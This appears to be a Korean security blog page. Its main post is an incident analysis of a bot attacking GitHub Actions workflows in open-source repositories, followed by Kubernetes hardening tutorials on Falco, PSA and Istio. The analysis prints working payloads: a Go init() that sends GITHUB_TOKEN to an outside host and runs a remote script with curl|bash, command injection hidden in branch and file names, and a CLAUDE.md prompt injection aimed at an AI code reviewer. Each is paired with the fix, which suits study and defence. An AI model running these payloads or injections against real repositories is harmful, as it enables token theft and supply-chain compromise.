반응형

반응형

'AI' 카테고리의 다른 글

터보퀀트 이해하기  (0) 2026.03.28
반응형

공격 개요

 

2026년 2월 21 일부터 3월 2일까지 10일간, hackerbot-claw 라는 GitHub 계정이 주요 오픈소스 저장소의 CI/CD 파이프라인을 체계적으로 공격했다. 이 계정은 스스로를 "claude-opus-4-5 기반의 자율 보안 리서치 에이전트" 라고 소개하며 암호화폐 후원을 요청하고 있었다. 공격 규모와 결과는 다음과 같다.

  • 최소 7개 저장소 타겟
  • 12개 이상의 PR 생성
  • 6개 이상에서 임의 코드 실행(RCE) 달성
  • GitHub 스타 14만 개 저장소에서 write 권한 GITHUB_TOKEN 탈취 성공
  • 5가지 완전히 다른 익스플로잇 기법 사용

공격 대상 목록은 다음과 같다.

avelino/awesome-go GitHub 스타 14만+, 토큰 탈취 성공
project-akri/akri CNCF 프로젝트
microsoft/ai-discovery-agent Microsoft 공식 저장소
DataDog/datadog-iac-scanner DataDog 공식 저장소
ambient-code/platform AI 프롬프트 주입 공격
aquasecurity/trivy 저장소 전체 침해
RustPython/RustPython GitHub 스타 2만+

 

모든 공격이 동일한 최종 페이로드를 목표로 했다.

curl -sSfL hackmoltrepeat.com/molt | bash

 

기법은 달라도 목적지는 하나였다. 저장소마다 다른 취약점을 이용해 이 한 줄을 실행시키는 것.


봇의 작동 방식

봇의 README에는 방법론이 공개되어 있었다. 9개 클래스, 47개 서브패턴으로 구성된 "취약점 패턴 인덱스"를 로드한 후, 자율적으로 스캔하고, 검증하고, PoC 익스플로잇을 투하하는 방식이다. "최근 활동" 로그에는 분석 시점 기준 이틀 동안 5번의 성공 세션이 기록되어 있었다.


기법 1: awesome-go — Go init() 주입으로 토큰 탈취

공격 유형: pull_request_target + Pwn Request

GitHub 스타 14만 개의 avelino/awesome-go 는 모든 PR에서 pr-quality-check.yaml 워크플로우를 자동 실행해 제출 코드를 검증했다. 취약한 설정은 다음과 같다.

on:
  pull_request_target:        # 저장소 권한으로 실행
steps:
  - uses: actions/checkout@v6
    with:
      ref: ${{ github.event.pull_request.head.sha }}  # fork 코드 체크아웃
  - run: go run ./.github/scripts/check-quality/      # 공격자 코드 실행

 

봇은 품질 검사 스크립트 안에 Go init() 함수를 삽입했다. Go에서 init()은 main() 보다 먼저 자동으로 실행된다.

func init() {
    _ = exec.Command("bash", "-c",
        `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
        `-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
        `https://recv.hackmoltrepeat.com/ && ` +
        `curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}

 

봇은 18시간에 걸쳐 6번(PR #6058~#6069) 반복하며 접근법을 개선했다. 처음 4번은 git fetch 문제로 실패했지만 PR #6068, #6069에서 성공했다.

워크플로우 로그가 이를 뒷받침한다. PR #6068의 "Run quality checks" 스텝은 5분 37초 동안 실행됐는데, 정상적인 품질 검사라면 그럴 이유가 없다. 원격 스크립트를 다운로드해 실행하는 시간과 일치한다.

탈취한 토큰의 권한 범위는 contents: write, pull-requests: write였다. 이 토큰으로 공격자는 main에 직접 커밋하고, 코드를 수정하고, PR 을 머지할 수 있었다. 침해 이후 아래와 같이 워크플로우가 변경되었다.

 

① fork 코드 체크아웃 방식 변경

# 이전: PR 작성자(공격자)의 코드를 체크아웃
- uses: actions/checkout@v3
  with:
    ref: ${{ github.event.pull_request.head.sha }}  # fork HEAD

# 현재: base 브랜치(main)를 체크아웃
- uses: actions/checkout@v6
  with:
    ref: ${{ github.event.pull_request.base.sha }}  # ← main의 신뢰된 코드
    persist-credentials: false

실행되는 스크립트(go run ./.github/scripts/check-quality/) 가 main 브랜치의 코드입니다. PR 작성자가 스크립트를 아무리 변조해도 실행되지 않습니다.

② PR 코드는 git fetch로만 가져옴

- name: Fetch base branch and PR head
  run: |
    git fetch origin "${{ github.base_ref }}"
    git fetch origin "+refs/pull/${{ github.event.pull_request.number }}/head"
    # fetch만 함 — checkout하지 않음

PR 헤드를 fetch 는 하지만 checkout 하지 않습니다. 품질 검사 스크립트가 diff 분석을 위해 PR 내용을 읽을 수는 있지만, PR의 Go 코드가 직접 실행되지는 않습니다.

 

③ environment: action 추가

jobs:
  quality:
    environment: action  # ← 추가됨

GitHub 의 Environment Protection Rules를 활용할 수 있습니다. 이 환경에 리뷰어 승인을 요구하도록 설정하면, 워크플로우 실행 전 사람이 한 번 더 개입하는 게이트가 생깁니다.

 

④ persist-credentials: false

- uses: actions/checkout@v6
  with:
    persist-credentials: false  # ← 추가됨

체크아웃 이후 git credential 이 로컬에 남지 않습니다. 혹시라도 스크립트가 git 명령을 호출하더라도 인증 정보를 재사용할 수 없습니다.

 

⑤ 권한 최소화

# quality 잡
permissions:
  contents: read
  pull-requests: read   # read만

# report 잡에서만 write 권한 분리
permissions:
  pull-requests: write
  contents: write

코드를 실행하는 quality 잡과 결과를 기록하는 report 잡의 권한을 분리했습니다. 실행 단계에서는 write 권한이 없습니다.


기법 2: project-akri — 스크립트 직접 주입

공격 유형: git issue 댓글 공격

project-akri/akri(CNCF 프로젝트)에 대한 공격은 기법이 단순했다. 봇이 PR에 /version minor 댓글 하나를 달자, 워크플로우가 fork 코드(version.sh)를 체크아웃해서 실행했고, 그 안에 삽입된 curl ... | bash가 실행됐다.

version.sh 파일 맨 위에 페이로드를 삽입하고 PR 을 올린 뒤 /vsersion minor 댓글을 달았을 뿐이다. Auto Bump Versions 워크플로우가 트리거 되는데 이 워크플로우는 fork 코드를 체크아웃한 뒤 ./version.sh -u -n 을 실행한다.

#!/usr/bin/env bash
# 원본 코드 위에 한 줄 추가
curl -sSfL https://hackmoltrepeat.com/molt | bash

check_file_version() {
    ...

 

이 워크플로우가 취약했던 이유는 권한 검사가 없었기 때문이다.

if: ${{ github.event.issue.pull_request }} &&
    contains(github.event.comment.body, '/version')
# author_association 검사 없음 — 누구든 트리거 가능

 

워크플로우 실행 로그에서 "Update version minor" 스텝은 성공했다. version.sh가 실행됐다는 뜻이다. "Push Changes" 단계에서 인증 문제로 실패했지만, 페이로드 실행 자체는 이미 이뤄진 뒤였다. 침해 이후 아래와 같이 워크플로우가 변경되었다.

 

 author_association 검사 추가 (진입 차단)

# 이전 — 누구나 트리거 가능
if: github.event.issue.pull_request &&
    contains(github.event.comment.body, '/version')

# 현재 — MEMBER / OWNER만 트리거 가능
if: github.event.issue.pull_request &&
    contains(github.event.comment.body, '/version') &&
    (github.event.comment.author_association == 'MEMBER' ||
     github.event.comment.author_association == 'OWNER')

hackerbot-claw는 외부 계정이었으므로 author_association == 'NONE'입니다. 이 조건 하나만으로 봇의 트리거 시도 자체가 차단됩니다.

 

 version.sh를 main 브랜치에서 덮어씀 (핵심 수정)

# 이전 — PR 작성자의 version.sh가 그대로 실행됨
- uses: actions/checkout@v3
  with:
    repository: ${{ fromJSON(steps.get-pr.outputs.result).head.repo.full_name }}
    ref: ${{ fromJSON(steps.get-pr.outputs.result).head.ref }}
- run: ./version.sh -u -n  # ← 공격자가 변조한 버전 실행

# 현재 — fork 코드를 체크아웃한 뒤 version.sh만 main으로 덮어씀
- name: Checkout PR
  uses: actions/checkout@v3
  with:
    repository: ${{ fromJSON(steps.get-pr.outputs.result).head.repo.full_name }}
    ref: ${{ fromJSON(steps.get-pr.outputs.result).head.ref }}

# ← 이 스텝이 추가됨
- name: Checkout version.sh from main branch
  run: |
    git fetch origin main
    git checkout origin/main -- version.sh  # main의 version.sh로 덮어씀
    chmod +x version.sh

- run: ./version.sh -u -n  # ← 항상 main의 신뢰된 버전 실행

PR 코드 전체를 체크아웃하는 구조는 유지하되, 실행되는 스크립트만은 반드시 main 것을 쓰도록 강제합니다. 공격자가 version.sh에 무엇을 삽입해도 실행 직전에 덮어써지기 때문에 의미가 없습니다.

 

 ${{ env.BUMP_TYPE }} 조건으로 실행 범위 명시화

# 이전 — 조건 없이 항상 실행
- run: ./version.sh -u -n

# 현재 — 실제로 버전 타입이 결정된 경우에만 후속 스텝 실행
- name: Add labels
  if: ${{ env.BUMP_TYPE }}   # ← BUMP_TYPE이 설정됐을 때만

- name: Push Changes
  if: ${{ env.BUMP_TYPE }}   # ← 동일

/version minor, /version major, /version patch 중 하나가 정확히 매칭됐을 때만 레이블 추가와 push가 실행됩니다. 의도하지 않은 명령으로 push가 트리거되는 경우를 줄입니다.


기법 3: microsoft/ai-discovery-agent — 브랜치 이름 주입

공격 유형: 페이로드를 브랜치 이름에 삽입

Microsoft 공식 저장소에 대한 공격은 발상이 독특했다. PR 내용이 아니라 git 브랜치 이름 자체에 페이로드를 숨겼다.

dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)

bash가 이 문자열을 평가하면:

  • {curl,-sSfL,...} → 중괄호 확장으로 curl -sSfL ... 가 됨
  • ${IFS} → 공백 문자로 치환됨
  • $({...}) → 명령 치환, 내부 명령 실행

봇이 PR 을 작성하고 /format 댓글을 달면, 워크플로우 중 "Save format request data" 스텝이 브랜치 이름을 파일에 쓰는 과정에서 트리거된다.

- name: Save format request data
  run: |
    echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
    # ${{ }} 표현식이 이스케이프 없이 bash echo 안에 들어감
    # 브랜치 이름이 명령으로 실행됨

 

해당 스텝이 실행되면 아래와 같은 명령어로 치환되어 실행된다.
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ./format-request/pr_head_ref

 

 

워크플로우 로그에는 밀리초면 끝날 스텝에서 2분 38초의 공백이 찍혀 있다. 이후 "Apply Format" 워크플로우는 저장된 브랜치 ref가 손상됐다는 오류로 실패했다. curl 출력값이 브랜치 이름 자리에 저장됐기 때문이다.


기법 4: DataDog/datadog-iac-scanner — 파일 이름 주입

공격 유형: Base64 인코딩된 명령을 파일 이름에 숨김

DataDog 저장소를 대상으로 한 공격은 페이로드를 파일 이름 안에 숨겼다. Base64 디코딩 후 curl -sSfL hackmoltrepeat.com/molt | bash 로 해석된다.

documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md

 

 

봇은 PR에 /sync-metadata 코멘트를 달아 sync-copywriter-changes.yaml 워크플로우를 트리거하여 공격했다. 이 워크플로우는 변경된 파일 이름들을 bash for 루프에 ${{ }} 표현식으로 직접 전달했고, 파일 이름이 명령으로 실행된 것이다. 워크플로우의 취약한 설정은 다음과 같다.

- name: Extract changed markdown files
  run: |
    for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
      echo "Processing: $file"
    done

 

 

워크플로우 로그에는 base64: invalid input 에러 이후 약 2.5분의 공백이 있다. 페이로드가 실행됐다는 신호다.

DataDog 팀은 공격 감지 후 9시간 이내에 긴급 수정을 배포했다.

  • PR #9: author_association 검사 추가(MEMBER/OWNER 전용), ${{ }} 표현식을 환경변수로 이동, 8개 워크플로우 파일에 permissions: contents: read 추가
  • PR #11: Python 동기화 스크립트에 경로 순회 보호 추가

 author_association 검사 추가 (진입 차단)

# 이전
if: contains(github.event.comment.body, '/sync-metadata')
# 누구나 트리거 가능

# 현재
if: |
  contains(github.event.comment.body, '/sync-metadata') &&
  (github.event.comment.author_association == 'MEMBER' ||
   github.event.comment.author_association == 'OWNER')

 

공격자는 외부 계정이므로 여기서 바로 차단됩니다.

 

② fork 코드 체크아웃 제거
# 이전 — fork 코드 전체를 체크아웃
- uses: actions/checkout@v3
  with:
    ref: ${{ github.event.pull_request.head.sha }}  # 공격자 코드

# 현재 — main만 체크아웃, PR은 fetch만
- name: Checkout main branch
  uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
  with:
    ref: main  # 신뢰된 코드만

- name: Fetch PR changes
  run: |
    git fetch origin pull/${{ steps.pr.outputs.pr_number }}/head:pr-branch
    # checkout 없음 — 로컬 브랜치로만 존재

실행 환경의 작업 디렉터리는 항상 main입니다. PR 코드는 git 오브젝트로만 존재하고 파일 시스템에 풀리지 않습니다.

 

 파일명을 쉘 구문에서 제거

# 이전 — 파일명이 ${{ }} 로 bash에 직접 삽입
- run: |
    for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
    # 파일명 안의 $() 가 명령으로 실행됨 ← 공격 지점

# 현재 — 파일 목록을 환경변수로 전달
- name: Extract MD files from PR
  env:
    FILES: ${{ steps.changed_files.outputs.files }}  # 환경변수로 격리
  run: |
    while IFS= read -r file; do
      git show pr-branch:"$file" > "pr-md-files/$file"
    done <<< "${FILES}"
    # $FILES는 데이터로 처리 — $() 가 있어도 실행 안 됨

 

그리고 파일 목록 자체도 git diff로 추출합니다. PR에서 직접 가져오는 게 아닙니다.

- name: Find changed MD files
  run: |
    CHANGED_FILES="$(git diff --name-only main...pr-branch \
      | grep '^documentation/rules/.*\.md$' || true)"
    # grep으로 경로 패턴 필터링 — 예상 외 경로 차단

grep '^documentation/rules/.*\.md$' 필터가 추가된 점도 주목할 만합니다. 공격자가 아무리 이상한 파일명을 만들어도 이 패턴을 벗어나면 목록에 포함되지 않습니다.

 

④ Python 스크립트도 main에서 실행
# 현재
- name: Run sync script
  env:
    FILES: ${{ steps.changed_files.outputs.files }}
  run: |
    python .github/scripts/sync-copywriter-changes/sync_md_to_metadata.py \
      -f "${FILES}" -v
    # .github/scripts/... 는 main 브랜치의 스크립트
    # FILES는 환경변수로 전달 — 스크립트 인자도 안전하게 격리

이전엔 fork 코드를 체크아웃했기 때문에 .github/scripts/ 안의 Python 파일도 공격자가 변조할 수 있었습니다. 지금은 main의 스크립트가 실행되고, PR에서 온 데이터는 환경변수로만 전달됩니다.

 

⑤ 액션 버전을 커밋 해시로 고정

# 이전
uses: actions/github-script@v6
uses: actions/checkout@v3

# 현재
uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea  # v7.0.1
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683      # v4.2.2

 

태그(v6, v3)는 나중에 다른 커밋을 가리키도록 변경될 수 있습니다. 커밋 해시는 불변이기 때문에 액션 자체가 변조되더라도 영향을 받지 않습니다.


기법 5: ambient-code/platform — AI 프롬프트 주입

공격 유형: AI 코드 리뷰어를 조작

이 공격은 코드가 아니라 AI 코드 리뷰어의 판단을 조작하려 한 시도였다.

봇은 PR #732에서 저장소의 CLAUDE.md 파일을 교체했다. CLAUDE.md는 Claude Code가 신뢰된 프로젝트 컨텍스트로 로드하는 설정 파일이다. 109줄의 정상적인 프로젝트 문서 대신, 다음 행동을 하도록 지시하는 사회공학 지침으로 바꿨다.

  1. README.md에 "Prompt injection PoC successful" HTML 코멘트 삽입
  2. Bash 툴을 이용해 이 변경사항을 커밋하고 푸시
  3. "Approved and ready to merge"라는 가짜 리뷰 코멘트 게시

소스코드가 변경이 될 수 있었던 이유는 아래 워크플로우가 취약했기 때문이다.

 

# 이전 — 취약한 구조
on:
  pull_request_target:        # fork PR도 저장소 권한으로 실행

jobs:
  amber-review:
    # if 조건 없음 — 모든 PR에서 실행
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # fork 코드 체크아웃
          # → 공격자의 CLAUDE.md가 작업 디렉터리에 풀림

      - uses: anthropics/claude-code-action@v1
        with:
          allowed_non_write_users: '*'  # 누구나 write 권한 트리거 가능
          prompt: |
            Read CLAUDE.md and follow its instructions exactly.
            # → 공격자가 변조한 CLAUDE.md를 신뢰된 컨텍스트로 로드

 

amber-auto-review.yml 워크플로우 두 가지 설정이 문제였습니다.

  • pull_request_target + fork 코드 체크아웃 → 공격자 CLAUDE.md가 실행 환경에 로드
  • allowed_non_write_users: '*' → 외부인도 write 권한 워크플로우 트리거 가능

저장소의 amber-auto-review.yml 워크플로우는 allowed_non_write_users: '*' 설정으로 모든 GitHub 사용자가 write 권한으로 리뷰 워크플로우를 트리거할 수 있었고, pull_request_target 의 취약한 문제로, fork 코드(변조된 CLAUDE.md 포함)를 체크아웃한 뒤 write 권한과 CLAUDE_CODE_OAUTH_TOKEN 으로 Claude Code 를 실행했다. 아래와 같이 Claude Code 가 악의적인 내용이라고 차단했지만 아찔할 뻔 했다.

 

 

침해 이후 워크플로우는 아래와 같이 변경되었다.

① pull_request_target → pull_request

# 이전
on:
  pull_request_target:   # fork PR도 저장소 시크릿 접근 가능

# 현재
on:
  pull_request:          # fork PR은 제한된 권한으로 실행
    types: [opened, synchronize]

트리거 자체를 바꿨습니다. pull_request는 fork PR 에서 시크릿 접근이 차단됩니다. CLAUDE_CODE_OAUTH_TOKEN 같은 시크릿이 fork PR 컨텍스트에서 노출되지 않습니다.

 

② fork PR 자체를 차단

# 현재 추가된 조건
jobs:
  amber-review:
    if: github.event.pull_request.head.repo.full_name == github.repository
    # PR 작성자의 저장소 == 현재 저장소일 때만 실행
    # → fork PR은 아예 실행 안 됨

hackerbot-claw 는 fork 저장소에서 PR을 열었으므로 head.repo.full_name != github.repository 조건에 걸려 워크플로우 자체가 실행되지 않습니다.

 

③ Claude 명령 파일 경로를 분리

# 현재 — base ref와 PR 코드를 별도 경로에 체크아웃
- name: Checkout base ref (for command file security)
  uses: actions/checkout@v6
  with:
    ref: ${{ github.event.pull_request.base.ref }}  # main
    path: base-ref                                   # 별도 디렉터리

- name: Checkout PR code
  uses: actions/checkout@v6
  with:
    fetch-depth: 0
    # path 없음 → 작업 디렉터리 (PR 코드)

- name: Determine command file path (security)
  id: command-path
  run: |
    if [ "${{ github.event.pull_request.head.repo.full_name }}" != "${{ github.repository }}" ]; then
      echo "path=base-ref/.claude/commands/amber.review.md" >> $GITHUB_OUTPUT
      # fork PR → main의 명령 파일 사용
    else
      echo "path=.claude/commands/amber.review.md" >> $GITHUB_OUTPUT
      # 같은 저장소 PR → PR의 명령 파일 허용
    fi

fork PR이면 Claude에게 base-ref/ 아래의 신뢰된 명령 파일을 읽히고, 같은 저장소 PR이면 PR 코드의 명령 파일을 허용합니다. AI에게 어떤 파일을 명령할지 AI가 아닌 bash 조건으로 결정합니다. fork PR을 이미 차단했지만, 추가 방어한 것입니다.


④ allowed_non_write_users 제거
# 이전
allowed_non_write_users: '*'  # 누구나 write 권한 워크플로우 트리거 가능

# 현재 — 해당 설정 없음
# write 권한 있는 사용자만 트리거 가능 (기본값)

외부 Contributor가 워크플로우를 트리거해도 write 권한 관련 툴 호출이 차단됩니다.

 

⑤ Claude 허용 툴을 읽기 전용으로 제한
# 현재
claude_args: |
  --allowedTools "Bash(gh pr comment:*),Bash(gh pr diff:*),Bash(gh pr view:*),Bash(gh issue list:*)"

Claude가 실행할 수 있는 명령을 명시적으로 허용 목록으로 제한했습니다.

허용 차단
gh pr comment (코멘트 게시) gh pr merge
gh pr diff (diff 읽기) git push
gh pr view (PR 읽기) git commit
gh issue list (이슈 목록) 파일 시스템 쓰기

공격자가 프롬프트 주입에 성공해서 Claude가 악성 지침을 따르려 해도, 허용된 툴 밖의 명령은 실행 자체가 차단됩니다.


참고: StepSecurity — hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions

반응형

'보안 > 취약점' 카테고리의 다른 글

BrokenSesame 취약점  (0) 2024.09.11
반응형

/dev/mem 은 Linux 커널이 노출하는 물리 메모리 전체에 대한 raw 인터페이스이다. 정상적인 워크로드에서 컨테이너가 이 파일에 접근할 이유는 거의 없다. 보통 공격자가 직접 /dev/mem 이 파일에 접근하게 되고, 접근하면 다음이 가능해진다.

  • 커널 메모리 덤프 - 물리 메모리를 직접 읽어 다른 컨테이너의 프로세스 메모리, 환경 변수, 시크릿 추출
  • 커널 코드 패치 - 물리 메모리 쓰기로 커널 코드 자체를 변조 (rootkit 설치)
  • 컨테이너 탈출 - 호스트 커널 심볼 주소를 스캔해 privilege escalation 체인 구성

쿠버네티스 환경에서 이 공격이 더 위험한 이유는, 노드 하나가 공격 당하면 동일 노드의 모든 파드 메모리가 노출되기 때문이다. 이를 탐지하는 falco 룰을 만들어보는 실습을 진행합니다.

 

1. 사전 준비

falco 설치

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
 

falco 가 정상적으로 설치되었는지 확인한다.

 
kubectl get pods -n falco
# falco-xxxxx   2/2   Running   0   60s

kubectl logs -n falco -l app.kubernetes.io/name=falco -f

 

2. 탐지 룰 작성

# /etc/falco/falco_rules.local.yaml
# 1단계: list 선언
- list: sensitive_devices
  items: [/dev/mem]

# 2단계: list를 rule의 condition에서 in 연산자로 참조
- rule: Container Accesses /dev/mem
  desc: Detect containers attempting to read or write /dev/mem
  condition: >
    evt.type in (open, openat, openat2) and fd.name in (sensitive_devices)
  output: >
    container_id=%container.id
  priority: CRITICAL

 

falco -r /etc/falco/falco_rules.local.yaml

 

falco -r 명령어를 통해 falco custom rule 을 적용해보면 아래와 같이 위반되는 container 들을 출력할 수 있다. 

k scale deploy -n neuron facebook --replicas=0
 
 
kubectl scale 명령어로 replica 를 0 으로 만들어 위험한 pod 를 종료한다.
반응형

'인프라 > 쿠버네티스' 카테고리의 다른 글

[Security] PSA(Pod Security Admission)  (0) 2026.03.28
[Istio] mTLS strict mode 실습  (0) 2026.03.28
[cilium] Security  (0) 2025.09.07
[cilium] k8s / cilium 성능 테스트  (0) 2025.08.30
[cilium] Ingress / Gateway API  (0) 2025.08.23
반응형

1. PSA

 

PSA는 Pod가 API Server에 제출될 때 미리 정의된 보안 정책(PSS, Pod Security Standards)에 맞는지 검사하는 내장 Admission Controller입니다. 기존의 PodSecurityPolicy(PSP)가 1.25에서 완전히 제거되면서 그 자리를 대체했습니다.

별도의 외부 도구 없이 namespace 레이블 하나로 Pod의 보안 수준을 강제할 수 있는 것이 특징입니다.

 

PSA는 세 가지 모드로 동작합니다.

모드 동작
enforce 정책 위반 시 Pod 생성 거부
warn 위반 경고를 응답에 포함, 생성은 허용
audit 위반 내용을 audit log에 기록, 생성은 허용

세 모드는 독립적으로 조합할 수 있습니다. 예를 들어 warn으로 시작해 영향 범위를 파악한 뒤 enforce로 전환하는 점진적 적용이 가능합니다.

 

2. PSS

PSA가 검사하는 기준은 PSS로 정의된 세 가지 레벨입니다.

각 레벨이 구체적으로 제한하는 항목은 다음과 같습니다.

레벨 주요 제한 항목
privileged 제한 없음. 클러스터 인프라 컴포넌트 전용
baseline hostNetwork/hostPID/hostIPC 금지, 위험한 capabilities 금지, hostPath 볼륨 금지
restricted baseline 포함 + 반드시 non-root 실행, seccompProfile 필수, allowPrivilegeEscalation: false 필수, capabilities는 NET_BIND_SERVICE만 허용

 

3. 사전 준비

Kubernetes 1.23 이상(GA는 1.25+)이면 별도 설치 없이 PSA를 사용할 수 있습니다.

kubectl version --short
# Server Version: v1.25.0 이상이면 PSA 기본 활성화

 

PSA가 활성화되어 있는지 확인합니다.

# AdmissionRegistration Resource 확인
kubectl get --raw /apis/admissionregistration.k8s.io/v1 | grep -i psa
# API Server 플래그 확인
kubectl get pod -n kube-system kube-apiserver-<node> -o yaml | grep enable-admission
# 개별 Pod 내부에 레이블 확인
pod-security.kubernetes.io/<MODE>: <LEVEL>
pod-security.kubernetes.io/<MODE>-version: <VERSION>   # 선택 사항

 

 

4. 실습

4-1. 테스트용 namespace 생성

kubectl create namespace restricted
kubectl label namespace restricted \
  pod-security.kubernetes.io/enforce=restricted

restict 모드이므로 restricted 기준에 맞지 않는 Deployment 자체가 생성이 되지 않습니다. 경고를 하나씩 살펴보며 문제를 해결해봅시다.

4-2. 기본 pod 생성 시도

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-unprivileged
  namespace: restricted
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
        - name: nginx
          image: nginxinc/nginx-unprivileged
          ports:
            - containerPort: 80
 
 
kubectl apply -f nginx-deployment.yaml
 

 

4-3. 2차 수정 — allowPrivilegeEscalation 추가

allowPrivilegeEscalation != false를 추가하여 수정합니다.

      containers:
        - name: nginx
          image: nginxinc/nginx-unprivileged
          ports:
            - containerPort: 80
          securityContext:
            allowPrivilegeEscalation: false   # 추가
 
 
kubectl apply -f nginx-deployment.yaml

 

4-4. 3차 수정 — capabilities drop ALL + runAsNonRoot 추가

capabilities.drop: ALL 과 runAsNonRoot 를 추가하여 권한을 제어합니다.

      containers:
        - name: nginx
          image: nginxinc/nginx-unprivileged
          ports:
            - containerPort: 80
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
                - ALL               # 추가
            runAsNonRoot: true      # 추가
 
kubectl apply -f nginx-deployment.yaml

 

 

경고가 1개(seccompProfile)만 남습니다

 

4-5. 4차 수정 — seccompProfile 추가

restricted 레벨은 seccompProfile을 RuntimeDefault 또는 Localhost로 명시하도록 요구합니다.

      containers:
        - name: nginx
          image: nginxinc/nginx-unprivileged
          ports:
            - containerPort: 80
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
                - ALL
            seccompProfile:
       		  type: RuntimeDefault # container 레벨에서 추가

 

 

배포 및 Pod 상태를 확인하면 정상적으로 적용됩니다.

 

5. 주의할 점

이미 워크로드가 실행 중인 namespace에 enforce를 바로 붙이면 기존 Pod는 영향받지 않지만, 신규 Pod 배포가 즉시 차단될 수 있습니다. 적용 전에 --dry-run으로 영향 범위를 확인합니다.

# enforce 적용 시 영향받을 Pod 미리 확인
kubectl label namespace prod \
  pod-security.kubernetes.io/enforce=restricted \
  --dry-run=server

 

또는 warn 모드를 먼저 붙여 일정 기간 경고를 수집한 뒤 enforce로 교체하는 방식이 안전합니다.

# 1단계: warn으로 관찰
kubectl label namespace prod pod-security.kubernetes.io/warn=restricted

# 경고 확인 후 2단계: enforce 추가
kubectl label namespace prod pod-security.kubernetes.io/enforce=restricted
반응형
반응형
 
 

위 다이어그램처럼, Istio는 각 Pod에 Envoy sidecar를 주입하고 서비스 간 통신을 mTLS로 암호화하는 실습을 진행합니다.

1. 사전 준비

Kubernetes 클러스터(1.27+)와 kubectl이 정상 동작하는지 확인합니다.

kubectl version --short
kubectl get nodes

 

2. Istio 설치

istioctl을 다운로드하고 default 프로필로 설치합니다. default 프로필은 istiod(control plane)와 ingress gateway를 포함합니다.

# istioctl 다운로드 (최신 버전)
curl -L https://istio.io/downloadIstio | sh -
cd istio-*/
export PATH=$PWD/bin:$PATH

# 설치 전 클러스터 호환성 확인
istioctl x precheck

# default 프로필로 설치
istioctl install --set profile=default -y

# 설치 확인
kubectl get pods -n istio-system

 

 

istiod, istio-ingressgateway Pod가 Running 상태이면 정상입니다.

 

3. Sidecar 자동 주입 활성화

Istio sidecar는 namespace 레이블 하나로 자동 주입됩니다. 배포할 namespace에 레이블을 추가합니다.

# namespace 생성 (이미 있으면 생략)
kubectl create namespace payments
kubectl create namespace orders

# sidecar 자동 주입 레이블 추가
kubectl label namespace payments istio-injection=enabled
kubectl label namespace orders  istio-injection=enabled

# 확인
kubectl get namespace payments orders --show-labels

 

레이블을 추가한 후 새로 배포(혹은 재시작)된 Pod부터 sidecar가 주입됩니다. 기존 Pod에는 적용되지 않으므로 롤링 재시작이 필요합니다.

# 기존 Deployment 재시작 (필요한 경우)
kubectl rollout restart deployment -n payments
kubectl rollout restart deployment -n orders

 

재시작 후 Pod에 컨테이너가 2개(app, istio-proxy)인지 확인합니다.

 
kubectl get pods -n payments -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{range .spec.containers[*]}{.name}{","}{end}{"\n"}{end}'
```

출력 예시:
```
payments-api-7d9f6b-xxx    payments-api,istio-proxy

 

4. mTLS Strict Mode 활성화

Sidecar가 주입되었다고 해서 자동으로 mTLS가 강제되지는 않습니다. Istio 기본값은 PERMISSIVE 모드로, 평문 트래픽도 허용합니다. PeerAuthentication 리소스로 STRICT 모드를 선언해야 합니다.

4-1. 특정 namespace에 적용하는 방법

# peer-authn-payments.yaml
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: default
  namespace: payments
spec:
  mtls:
    mode: STRICT
 
kubectl apply -f peer-authn-payments.yaml

4-2. 모든 namespace 전체에 적용하는 방법

모든 namespace를 한 번에 STRICT 모드로 적용하려면 istio-system namespace에 선언합니다.

# peer-authn-mesh.yaml
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: default
  namespace: istio-system
spec:
  mtls:
    mode: STRICT
 
kubectl apply -f peer-authn-mesh.yaml

주의: mesh-wide STRICT 적용 전, sidecar가 없는 외부 클라이언트(모니터링 에이전트, 레거시 서비스 등)가 없는지 반드시 확인하세요. sidecar 없이 통신하는 서비스는 연결이 즉시 거부됩니다.

 

5. 검증

mTLS 정책 확인

# PeerAuthentication 확인
kubectl get peerauthentication -A

# istioctl로 mTLS 상태 요약
istioctl x describe pod <pod-name> -n payments

실제 트래픽 암호화 확인

istioctl의 proxy-config 명령으로 실제 Envoy 설정을 확인합니다.

# payments 네임스페이스의 특정 Pod에서 inbound listener 확인
istioctl proxy-config listener <pod-name> -n payments

# mTLS 핸드셰이크 통계 확인
kubectl exec -n payments <pod-name> -c istio-proxy -- \
  pilot-agent request GET stats | grep ssl

 

ssl.handshake 카운터가 올라가고 있다면 mTLS가 정상 동작하는 것입니다.

평문 통신 차단 확인

sidecar 가 없는 Pod에 서 접근을 시도하면 connection refused 가 발생해야 합니다.

# sidecar 미주입 Pod (테스트용)
kubectl run test-plain --image=curlimages/curl -n default --restart=Never -- \
  sleep 3600

# payments 서비스에 평문으로 접근 시도 → 실패해야 정상
kubectl exec test-plain -n default -- curl http://payments-svc.payments.svc.cluster.local

 

6. 참고사항 

PERMISSIVE vs STRICT 차이

 

모드 sidecar → sidecar 평문 → sidecar
PERMISSIVE mTLS 사용 허용 (평문 통과)
STRICT mTLS 강제 거부 (connection refused)

단계적 마이그레이션 전략

